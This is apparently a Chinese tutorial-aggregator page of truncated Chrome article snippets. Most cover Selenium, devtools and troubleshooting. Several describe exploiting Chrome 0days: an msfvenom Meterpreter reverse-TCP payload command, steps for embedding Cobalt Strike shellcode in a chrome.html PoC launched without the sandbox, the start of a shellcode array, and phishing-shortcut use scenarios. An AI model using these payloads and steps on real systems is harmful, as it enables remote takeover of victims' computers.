CHOME - 技术教程文章
关于执行webdriver.Chrome; 报错WebDriverException: Message: unknown error: Element is not clickable at poin
from selenium import webdriverfrom time import sleepdr = webdriver.Chrome()dr.get("http://pj1.cciccloud.cn/portal/website/01/index.html")time.sleep(3)dr.find_element_by_xpath("//a[@class=Content_a]/span").click()驱动Firefox 则可以 更新了Chrome的驱动，即可，要和浏览器版本相匹配
使用Chrome-headless模式下，截屏不全屏的问题【图】
在headless模式下，是没有打开浏览器窗口的，那么driver.maximize_window()，找不到目标也打不开。我们可以换一种方式，去在无头模式下，指定浏览器的窗口大小运行即可。 __options = Options() __options.add_argument(--headless) __options.add_argument(--window-size=1920x945)#这里加上你的目标窗口大小就可以了 driver = webdriver.Chrome(chrome_options = __options)还有，如何获知你的浏...
selenium驱动chrome-等待等待下载完成后再下载下一个【图】
def every_downloads_chrome(driver,i): if not driver.current_url.startswith("chrome://downloads"): driver.get("chrome://downloads/") a=driver.execute_script(return document.querySelector("body > downloads-manager").shadowRoot.querySelector("#frb{}").shadowRoot.querySelector("#description").textContent.search("/").format(i)) if a==-1: return False ...
使用chrome下载m3u8视频
下载后使用.key结尾的文件配合和key同名文件参考如下网址代码解密视频 https://dongfangyou.blog.csdn.net/article/details/105588190 下载代码import randomimport timeimport requestsimport datetimefrom Crypto.Cipher import AESfrom selenium import webdriverdef every_downloads_chrome(driver): if not driver.current_url.startswith("chrome://downloads"): driver.get("chrome://downloads/") driver....
chrome上线 & wx上线【代码】【图】
题记 玩一下Chrome的漏洞，这几天没哈精神，老是犯困，而且博客园word交互系统又出问题了，我的文章都传不上来。 chrome上线cs 1、使用以下脚本，保存为chrome.html格式<script>function gc() {for (var i = 0; i < 0x80000; ++i) {var a = new ArrayBuffer();}}let shellcode = [];var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0,...
CVE-2020-6418-chrome无沙箱RCE【代码】【图】
目录1. 漏洞简介1.1 影响范围1.2 利用条件2. 复现2.1 弹记事本2.2 msf上线3. 实战利用场景3.1 快捷方式钓鱼[点击上线]3.2 结合无沙盒启动chrome的应用[点击上线]3.3 反制爬虫4. 参考 1. 漏洞简介 2月25日，谷歌Chrome浏览器与微软Edge浏览器发布了安全更新，在Google Chrome浏览器80.0.3987.122以下与Microsoft Edge浏览器80.0.361.62以下的版本中，开源JavaScript和WebAssembly引擎V8中存在一个类型混淆漏洞（CVE-2020-6418），可...
Google Chrome 0day 远程代码执行漏洞复现【代码】【图】
Chrome 及 EXP下载：https://wwi.lanzous.com/iPg0ko8xmjg 1.环境win10、win7均可 2.关闭沙箱模式-no-sandbox 3.chrome客户端需64位（Google Chrome < = 89.0.4389.114） 使用命令关闭沙箱模式chrome.exe --no-sandbox Poc：https://github.com/r4j0x00/exploits/tree/master/chrome-0daymsfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.72.128 lport=4444 -f csharp -o payload3.txt替换shellcodemsf exp <scri...
谷歌chrome浏览器被hao123 360等劫持问题解决方案【图】
1.先chrome://version 能看到下面这一串 “C:\Program Files\Google\Chrome\Application\chrome.exe” --flag-switches-begin --flag-switches-end --origin-trial-disabled-features=SecurePaymentConfirmation http://hao.360.com/?src=lm&ls=n4e1d7e8c99 2.复制上面这一串 3.打开 4.在标记处粘贴刚刚复制的东西 并把end后面的删掉 “C:\Program Files\Google\Chrome\Application\chrome.exe” --flag-switches-begin --flag-swi...
前端性能优化《一》——Chrome Performance 页面性能调试【图】
前言前端性能，这是一个很大也很有趣的一块，是每个前端工程师不可避免的问题，所以这个系列会慢慢地探讨一些关于性能方面的问题。最近也接触到一些性能方面的调试以及优化的工作，纸上得来终觉浅，绝知此事要躬行。竟然是性能优化，首先第一步就应该是性能调试，发现我们页面性能的问题，这篇文章属于入门级别的，话不多说，进入正题认识 Chrome Performanceperformance 的前世就是之前的 timeline（好吧，我错过了这个时代） 如果...
怎么解决Chrome浏览器崩溃“STATUS_INVALID_IMAGE_HASH”的问题【图】
相信很多使用Google Chrome浏览器的朋友遇到过下面这张图的问题： 我个人遇到的问题是 Google 在79版本更新之后，发现浏览器打开之后就出现上图这个模样，情急之下，去度娘上也逛了一圈，回复也是千篇一律；好不容易在知乎上找到了解决方案，在此借用一下，忘原创体谅。我想得此篇的目的是更多的帮助别人解决使用的问题。 尽管有人分析了原因： 导致这个问题的原因是 Google 在79版本（2019年12月20号左右）的更新中又重新启用了R...
Qt Creator可视化Chrome跟踪事件
Qt Creator可视化Chrome跟踪事件可视化Chrome跟踪事件 打开JSON文件 可视化事件选择事件范围查看统计 收集LTTng数据配置内核 安装LTTng 使用Tracepoint构建Qt 记录事件 启用跟踪点 计划程序开关跟踪点 Syscall跟踪点将LTTng数据转换为CTF可视化Chrome跟踪事件 您可以使用完整的堆栈跟踪来从顶级QML或JavaScript一直跟踪到C ++，然后一直跟踪到内核??空间。这使您能够测量应用程序的性能，并检查它是否受CPU或I / O约束或受同一系统...
【安全资讯】梅开二度，Chrome再次被曝0day漏洞【图】
作者｜三分浅土来源｜FreeBuf.com发布时间｜2021-04-15一波未平一波又起，4月13日有安全人员在Twitter上公布了Chrome的0day漏洞PoC。该漏洞可以启动计算器应用程序，一时间好友圈里都被计算器刷屏了。 图片来源：51cto.com 但没想到仅隔一天，在4月14日，Chrome又被曝了第二个0day漏洞。并且其PoC同样也被安全人员在Twitter上公开。 据悉，该漏洞影响了Chrome最新正式版(89.0.4389.128)以及基于Chromium内核的Microsoft Edge正式版...
Cobalt Strike 利用 Chrome 0day 上线【代码】【图】
1.首先尝试弹出记事本，成功说明存在漏洞利用2.CS开启监听2.1生成pyload，https的稳定，勾选x642.2生成之后获得pyload.c2.3将shellcode的`\`全部替换为`,0`然后取出来shellcode 放入 chrome 0day 中2.4复制出来 放入 POC 中 第7行 给shellcode 赋值数组，保存 成 chrome.html2.5执行以下命令，关闭沙箱并打开谷歌浏览器cd C:\Program Files\Google\Chrome\Applicationchrome.exe -no-sandbox2.6然后双击打开chrome.html，cs成功上...
2021-04-14chrome浏览器如何实现网页长截图【图】
转载：https://jingyan.baidu.com/article/c33e3f4824bfd2ea14cbb570.html在浏览器的右上角处找到三个竖着的小黑点按钮，点击选择该按钮。 在弹出来的下拉菜单中选择“更多工具”功能按钮，将鼠标放置于该按钮处会弹出一个二级菜单。 在二级菜单中找到“开发者工具”，鼠标左键单击选择该功能按钮，进入开发者工具操作中。 点击开发者工具后会在页面中弹出一个开发者的窗口，位于浏览器页面的右上方。 在该页面中按快捷键“...
vscode 打不开chrome浏览器解决方案【图】
前言：最近不知道是更新vscode、浏览器或者杀毒软件原因，vscode 运行代码的时候突然不会自动打开浏览器了，经过多次查询与尝试总结出以下解决方案：一.方案一： 1.在vscode快捷方式上，右键选择以管理员身份运行 2.以Live Server扩展应用打开html示范如下 3.设置vscod始终以管理员身份运行 （每次都右键打开比较费事） 3.1、在vscode快捷方式上，右键选择属性 3.2 点击高级 3.3 勾选以管理员身份运行，确定 3.4 应...
Selenium启动Chrome时配置选项详解【代码】
1.示例 from selenium.webdriver.chrome.options import Options #实现无可视化界面的操作 options = Options() options.add_argument('--headless') options.add_argument('--disable-gpu') #实现规避检测 options.add_experimental_option('excludeSwitches', ['enable-automation']) #实例化WebDriver对象 bro=webdriver.Chrome(executable_path='./chromedriver_89.exe', options=options)2.其他配置 –user-data-dir=”[PATH]...
【漏洞复现】Chrome 最新0day RCE【代码】【图】
利用条件 关闭浏览器（chrome、edge等）沙盒 环境：win7/win10chrome 89.0.4389.82(x64)内存好像要够大：8/16gpoc:https://github.com/r4j0x00/exploits/tree/master/chrome-exploit poc： exp.html<script src="exp.js"></script> exp.js/* /* BSD 2-Clause License Copyright (c) 2021, rajvardhan agarwal All rights reserved. Redistribution and use in source and binary forms, with or without modification, are per...
瞄准Chrome凭据的新威胁已现身【图】
Change 嘶吼专业版CyberArk最近捕获了一个有趣的恶意软件样本。它与常规的盗窃凭证恶意软件，如Pony或Loki的不同之处在于，它只针对最常见的浏览器——谷歌Chrome。该恶意样本没有被混淆，但却能够逃避大多数反病毒软件(AV)的检测，这是由于它所使用的一种不常见的逃避技术。隐藏在资源里——Dropper分析图1.Dropper的VirusTotal评分在我们开始之前，让我们先讨论一下负责程序植入和执行payload来收集凭据的dropper。当我们发现这个...
–allow-file-access-from-files解决chrome通过file协议加载文件报跨域问题【图】
chrome默认是不可以通过file协议加载文件的，当然，这里这样说不标准，并不是所有的情况都不可以通过file协议加载，比如，写了个本地的html，还是可以加载js，css，图片等资源的。但是在某些情况下通过file协议加载数据，就会报跨域问题。 比如目前我遇到以下两种情况： 一、学习ES6模块化的时候，加载本地模块，就会报跨域问题，例如，下面的代码： <script src="./aaa.js" type="module"></script> 二、加载本地图片，用canvas获...
谷歌浏览器Chrome无法导出广东智慧团建青年大学习名单【图】
组织部叫书记们统计没青年大学习名单,好家伙! 看了看名单,还有几个没学习,就想去后台导出看看嘛,结果点了导出没反应于是 右键->检查->console 原来是谷歌觉得这个下载连接不安全,给阻止了 没关系点一下那个链接就可以下载了
chrome【图】
@、插件开发原文：https://www.cnblogs.com/liuxianan/p/chrome-plugin-develop.html
Chrome89针对sessionStorage的更新导致数据共享问题【代码】
最近将chrome更新到最新的版本，然后发现以前可以正常使用的功能无法使用了，经过分析后发现是浏览器新版本才出现的问题，今天记录以下。 一、遇到的问题 我们具体的问题场景，在A页面中需要打开B页面，同时需要在两个页面之间共享一些数据； 在A页面中我们将共享的数据保存到sessionStorage中,并新建超链接元素并触发其单击事件。 sessionStorage.setItem('parameter', JSON.stringify(parameter)); var link = angular.element('...
Chrome安装vue-devtools插件【图】
准备工作 安装node.js，安装过程中会用到npm命令。 下载vue-devtools工具包 官方地址github：https://github.com/vuejs/vue-devtools/tree/master 选择master分支，大家也可以选择其他分支，自己喜欢就好下载完成后解压得到目录vue-devtools-master，进入目录，然后执行 npm install，会看到如下安装过程直到如下过程说明安装成功然后执行命令：npm run build，出现如下视图，说明工具包构建完成 chrome添加vue-devtools插件 进...
chrome浏览器devtools切换主题（亮色，暗色）【图】
打开devtools，windows下使用快捷键ctrl+shift+p打开command命令，mac用户使用command+shift+p。输入theme则可看见切换命令选中即可。 切换到亮色切换到暗色 转自：https://blog.csdn.net/nianqusuifeng/article/details/88414180
chrome 控制台 log 打印 带样式的文字 和 图片【代码】
Chrome 官方 api ：https://developer.chrome.com/docs/devtools/console/api/ 格式语法： console.log("%c需要输出的信息 ", "css 代码"); 例如： console.log("%chello", `padding: 50px 300px;line-height: 120px;background: url('https://static.runoob.com/images/demo/demo1.jpg') no-repeat center;color: #fff; `);
[chrome] 扩展插件的使用【图】
前言 记录一下自己的扩展程序设置的问题。 由于自己的英语能力比较差，所以安装了“沙拉查词”这个扩展程序用于各种语言的翻译，见图片区域前两张图，第一张图为单个单词的释义，第二张图为长句翻译； 另外，由于对于网页文章阅读时笔记的需求，安装了“diigo”，用于笔记记录，见图片区域图3、图4、图5，分别为原文章界面和扩展程序界面。 但是由于设置访问权限是所有网站，所以导致出现了一些问题，就是在常规网页中，一旦划词，...
google chrome 89实时字幕【图】
大家好，我是热爱摩托车的程序猿。比较喜欢看motoGP，但是没有加菲猫等专业人员的解说，实属看不下英文版听着没字幕也是一种痛苦的事情，教大家怎么去把这个实时字幕整出来。 最终效果：1、确保是谷歌浏览器是 89版本，可以打开浏览器设置的关于，如果没有更新建议更新，因为只有这个版本以上才支持2、开始我们的设置2.1 打开 中：【无障碍->字幕】。英： [advanced -> Accessibility->captions]2.2 随后点击进去，随后就是一些关于...
chrome浏览器工作原理
Chrome中主要的进程有四个： 浏览器进程 (Browser Process)：负责浏览器的TAB的前进、后退、地址栏、书签栏的工作和处理浏览器的一些不可见的底层操作，比如网络请求和文件访问。 渲染进程 (Renderer Process)：负责一个Tab内的显示相关的工作，也称渲染引擎。 插件进程 (Plugin Process)：负责控制网页使用到的插件 GPU进程 (GPU Process)：负责处理整个应用程序的GPU任务 由于进程与进程之间内存空间独立，所以需要进程之间的通信...
Chrome中的Chrome OS D-Bus使用情况
D-Bus用于在Chrome OS上执行进程间通信。 本文档介绍如何使用D-Bus在Chrome和系统守护程序之间进行通信。 共享常量 system_api存储库包含在Chrome和Chrome OS系统守护程序之间共享的C ++常量和协议缓冲区.proto文件。 这包括D-Bus服务名称，路径和接口，信号和方法名称以及作为D-Bus参数传递的枚举值。 系统守护程序基本上总是使用最新版本的存储库，而Chrome使用src / DEPS中指定的修订版。 在使用新常量或删除已弃用的常量...
如何去调试前端JS代码？以Chrome谷歌浏览器为例【图】
前端调试是所有前端开发者绕不过去的一个环节，很多初学者却不知道该如何去做。今天小千就来以Chrome谷歌浏览器为例，教大家如何去调试前端JS代码。 为什么要调试？ 程序就是函数堆砌起来的，程序的运行就是函数的执行过程。而通过JS调试，我们可以更为直观的追踪到在程序运行中，函数的执行顺序，以及各个参数的变化。这样我们就可以快速的定位到问题所在。 1. 什么是JS调试？ 在程序运行中，我们总会遇到各种...